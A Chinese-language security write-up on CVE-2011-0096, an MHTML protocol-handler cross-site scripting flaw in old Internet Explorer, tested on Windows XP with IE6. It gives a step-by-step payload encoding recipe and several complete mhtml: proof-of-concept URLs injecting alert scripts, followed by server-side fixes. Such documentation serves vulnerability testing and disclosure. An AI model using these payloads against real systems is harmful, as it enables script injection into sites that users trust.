跳至主要內容

Microsoft Windows MHTML 脚本代码注入漏洞

Mr.zha0cai大约 3 分钟

0x01 漏洞描述

CVE-2011-0096 open in new window

The MHTML protocol handler in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 does not properly handle a MIME format in a request for content blocks in a document, which allows remote attackers to conduct cross-site scripting (XSS) attacks via a crafted web site that is visited in Internet Explorer, aka "MHTML Mime-Formatted Request Vulnerability."

Windows XP SP2 和 SP3、 Windows Server 2003 SP2、 Windows Vista SP1 和 SP2、 Windows Server 2008 Gold、 SP2、 R2 和 R2 SP1 以及 Windows 7 Gold 和 SP1 中的 MHTML 协议处理程序不能正确处理文档内容块请求中的 MIME 格式,这使得远程攻击者可以通过一个精心设计的网站进行跨网站脚本(XSS)攻击,这个网站被称为“ MHTML MIME-Formatted Request Vulnerability”,Internet Explorer 访问。

MHTMLopen in new window,即 MIME HTML,是由 RFC 2557 定义的,把一个多附件(如图片,flash 动画等)的
网页内容都保存到单一档案的标准。这个标准由微软提出,并从 IE 5.0 对其开始支持。

同时,微软实现了 MHTML 协议,默认安装的 window 系统都带有 MHTML 协议处理程序(MHTML
Protocol Handler)。在 IE 中,当嵌入资源的 URL 的协议为 MHTML 时,IE 将调用 MHTML Protocol
Handler,把该资源当作 MHTML 格式文件解析处理。

MHTML Protocol Handler 解析 MHTML 格式文件,其结果交给 IE 渲染,不可避免的将涉及跨
域、脚本访问权限等安全问题。在此过程中,IE 一旦处理不当,则会产生跨域漏洞。

0x02 POC & EXP

环境信息

// SystemInfo
主机名:           WINXPIE6
OS 名称:          Microsoft Windows XP Professional
OS 版本:          5.1.2600 Service Pack 3 Build 2600
修补程序:         安装了 1 个修补程序。
                  [01]: Q147222

// IEInfo
版本:6.0.2900.5512.xpsp.080413-2111
更新版本:SP3

问题参数:locale
url:mhtml:http://x.x.x.x/cm/help/dialog.jsp?locale=zh_CN

image

利用条件

(1)服务器对用户提交的参数未进行过滤并在 HTML 中返回;

(2)用户使用存在 MS11-026open in new window 漏洞的 IE 浏览器;

(3)使用 Win7 IE8 并未复现成功,只有在最古老的 WinXP IE6 复现成功,基本无利用价值。

payload

(1)进行 URLencode 编码

(2)将 %0A​ 替换为 %0D%0A

(3)将 %​ 号进行二次 url 编码变为 %25

(4)将脚本进行 base64 编码。如 PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=​ 是 <script>alert("XSS")</script>

// 本地环境
mhtml:http://172.16.10.244/coremail/help/dialog.jsp?locale=zh_CN----%250D%250AContent-Type%253A%2520multipart%252Frelated%253B%2520boundary%253D_webscan_atestu%250D%250A%250D%250A--_webscan_atestu%250D%250AContent-Location%253Acookie%250D%250AContent-Transfer-Encoding%253Abase64%250D%250A%250D%250APHNjcmlwdD5hbGVydCgibW9iIik8L3NjcmlwdD4%253D%250D%250A--_webscan_atestu--%250D%250A%250D%250A!cookie

// 还原
mhtml:http://172.16.10.244/coremail/help/dialog.jsp?locale=zh_CN----%0AContent-Type%3A%20multipart%2Frelated%3B%20boundary%3D_webscan_atestu%0A%0A--_webscan_atestu%0AContent-Location%3Acookie%0AContent-Transfer-Encoding%3Abase64%0A%0APHNjcmlwdD5hbGVydCgibW9iIik8L3NjcmlwdD4%3D%0A--_webscan_atestu--%0A%0A!cookie

// url 解码后
mhtml:http://172.16.10.244/coremail/help/dialog.jsp?locale=zh_CN----
Content-Type: multipart/related; boundary=_webscan_atestu

--_webscan_atestu
Content-Location:cookie
Content-Transfer-Encoding:base64

PHNjcmlwdD5hbGVydCgibW9iIik8L3NjcmlwdD4=
--_webscan_atestu--

!cookie


---------------------------------- 其他 -----------------------------------
// 换成这个 xss payload 试试
<script>alert(window.origin)</script>

base64:PHNjcmlwdD5hbGVydCh3aW5kb3cub3JpZ2luKTwvc2NyaXB0Pgo
======== poc

需要注意一下这个 Content-Location:cookie 要和后面的 !cookie​ 一致。

【注】MHTML 协议open in new window,可以使用 Content-Type: text/html;​ 来标识文档的 MIME 类型。

上面的 payload 没有标明也能正常执行,加上也是可以的。

mhtml:http://172.16.10.244/coremail/help/dialog.jsp?locale=zh_CN----%250D%250AContent-Type%253A%2520multipart%252Frelated%253B%2520boundary%253D_webscan_atestu%250D%250A%250D%250A--_webscan_atestu%250D%250AContent-Type%253A%2520text%252fhtml%253B%250D%250AContent-Location%253Acookie%250D%250AContent-Transfer-Encoding%253Abase64%250D%250A%250D%250APHNjcmlwdD5hbGVydCgibW9iIik8L3NjcmlwdD4%253D%250D%250A--_webscan_atestu--%250D%250A%250D%250A!cookie

​​image

image

EXP 详见Microsoft Internet Explorer - MHTML Protocol Handler Cross-Site Scripting - Windows local Exploit (exploit-db.com)open in new window

0x03 修复方法

(1)服务器端过滤参数中的回车换行(%0d%0a​),使之无法满足 MTHML 协议的格式要求。

(2)对参数的长度进行限制。因为 MHTML 有固定的格式,只有长度满足,才能构造这样的条件。

0x03 前人栽树

​​

​​